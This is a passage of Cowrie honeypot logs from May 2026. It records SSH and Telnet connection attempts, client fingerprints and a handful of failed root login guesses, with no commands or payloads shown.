r","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:46.941831Z","src_ip":"43.153.69.201","session":"5f1565fafc31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin88","message":"login attempt [root/admin88] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:47.247249Z","src_ip":"43.153.69.201","session":"5f1565fafc31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.119.118","src_port":41076,"dst_ip":"10.17.0.5","dst_port":22,"session":"47723eb0ece6","protocol":"ssh","message":"New connection: 170.106.119.118:41076 (10.17.0.5:22) [session: 47723eb0ece6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:47.345908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:47.350855Z","src_ip":"170.106.119.118","session":"47723eb0ece6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:47.420488Z","src_ip":"170.106.119.118","session":"47723eb0ece6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apples123","message":"login attempt [root/apples123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:47.728869Z","src_ip":"170.106.119.118","session":"47723eb0ece6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:48.317576Z","src_ip":"43.153.69.201","session":"5f1565fafc31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:48.801297Z","src_ip":"170.106.119.118","session":"47723eb0ece6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.193.106.227","src_port":33420,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc202b54be9c","protocol":"ssh","message":"New connection: 62.193.106.227:33420 (10.17.0.5:22) [session: dc202b54be9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:54.544978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:54.550284Z","src_ip":"62.193.106.227","session":"dc202b54be9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:54.701236Z","src_ip":"62.193.106.227","session":"dc202b54be9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"supportsupport","message":"login attempt [root/supportsupport] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:55.321416Z","src_ip":"62.193.106.227","session":"dc202b54be9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:56.473044Z","src_ip":"62.193.106.227","session":"dc202b54be9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.169.93","src_port":56538,"dst_ip":"159.203.135.109","dst_port":22,"session":"9541f35de600","protocol":"ssh","message":"New connection: 43.159.169.93:56538 (159.203.135.109:22) [session: 9541f35de600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:59.535022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:59.540054Z","src_ip":"43.159.169.93","session":"9541f35de600","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:59.608578Z","src_ip":"43.159.169.93","session":"9541f35de600","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"panfeng","password":"panfeng","message":"login attempt [panfeng/panfeng] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:59.916063Z","src_ip":"43.159.169.93","session":"9541f35de600","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:00.988626Z","src_ip":"43.159.169.93","session":"9541f35de600","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.548410654067993,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:06.974590Z","src_ip":"152.42.224.71","session":"f76d124a9332","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":36574,"dst_ip":"10.17.0.5","dst_port":22,"session":"afe8da5cd5df","protocol":"ssh","message":"New connection: 58.186.20.143:36574 (10.17.0.5:22) [session: afe8da5cd5df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:08.916084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:08.921257Z","src_ip":"58.186.20.143","session":"afe8da5cd5df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:09.174563Z","src_ip":"58.186.20.143","session":"afe8da5cd5df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.35.21","src_port":54168,"dst_ip":"10.17.0.5","dst_port":22,"session":"2357388228d9","protocol":"ssh","message":"New connection: 43.159.35.21:54168 (10.17.0.5:22) [session: 2357388228d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:09.521961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:09.526562Z","src_ip":"43.159.35.21","session":"2357388228d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:09.764763Z","src_ip":"43.159.35.21","session":"2357388228d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"poop","message":"login attempt [root/poop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:10.203758Z","src_ip":"58.186.20.143","session":"afe8da5cd5df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pedro","message":"login attempt [root/pedro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:10.751488Z","src_ip":"43.159.35.21","session":"2357388228d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:11.455731Z","src_ip":"58.186.20.143","session":"afe8da5cd5df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:11.992534Z","src_ip":"43.159.35.21","session":"2357388228d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.22.143","src_port":57788,"dst_ip":"10.17.0.5","dst_port":22,"session":"e683c1e92cca","protocol":"ssh","message":"New connection: 43.153.22.143:57788 (10.17.0.5:22) [session: e683c1e92cca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:17.101266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:17.106615Z","src_ip":"43.153.22.143","session":"e683c1e92cca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:17.175032Z","src_ip":"43.153.22.143","session":"e683c1e92cca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"luan123","message":"login attempt [root/luan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:17.478579Z","src_ip":"43.153.22.143","session":"e683c1e92cca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:18.550195Z","src_ip":"43.153.22.143","session":"e683c1e92cca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53980,"dst_ip":"10.17.0.5","dst_port":23,"session":"dafd51eeb758","protocol":"telnet","message":"New connection: 152.42.224.71:53980 (10.17.0.5:23) [session: dafd51eeb758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:19.258190Z"}
{"eventid":"cowrie.session.closed","duration":50.0656476020813,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:26.264075Z","src_ip":"152.42.224.71","session":"2befd0b20742","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36426,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e1c6dd8aac7","protocol":"telnet","message":"New connection: 152.42.224.71:36426 (10.17.0.5:23) [session: 9e1c6dd8aac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:34.524225Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.124.153","src_port":49272,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3067ebac6eb","protocol":"ssh","message":"New connection: 43.153.124.153:49272 (10.17.0.5:22) [session: d3067ebac6eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:38.968269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:38.971957Z","src_ip":"43.153.124.153","session":"d3067ebac6eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:39.039585Z","src_ip":"43.153.124.153","session":"d3067ebac6eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jacky","message":"login attempt [root/jacky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:39.343563Z","src_ip":"43.153.124.153","session":"d3067ebac6eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:40.414817Z","src_ip":"43.153.124.153","session":"d3067ebac6eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43094,"dst_ip":"10.17.0.5","dst_port":23,"session":"31f16f213b5f","protocol":"telnet","message":"New connection: 152.42.224.71:43094 (10.17.0.5:23) [session: 31f16f213b5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:43.019246Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.111.187","src_port":48598,"dst_ip":"159.203.135.109","dst_port":22,"session":"53fb1a834e7e","protocol":"ssh","message":"New connection: 43.128.111.187:48598 (159.203.135.109:22) [session: 53fb1a834e7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:43.442582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:43.446780Z","src_ip":"43.128.111.187","session":"53fb1a834e7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:43.683201Z","src_ip":"43.128.111.187","session":"53fb1a834e7e","protocol":"ssh"}
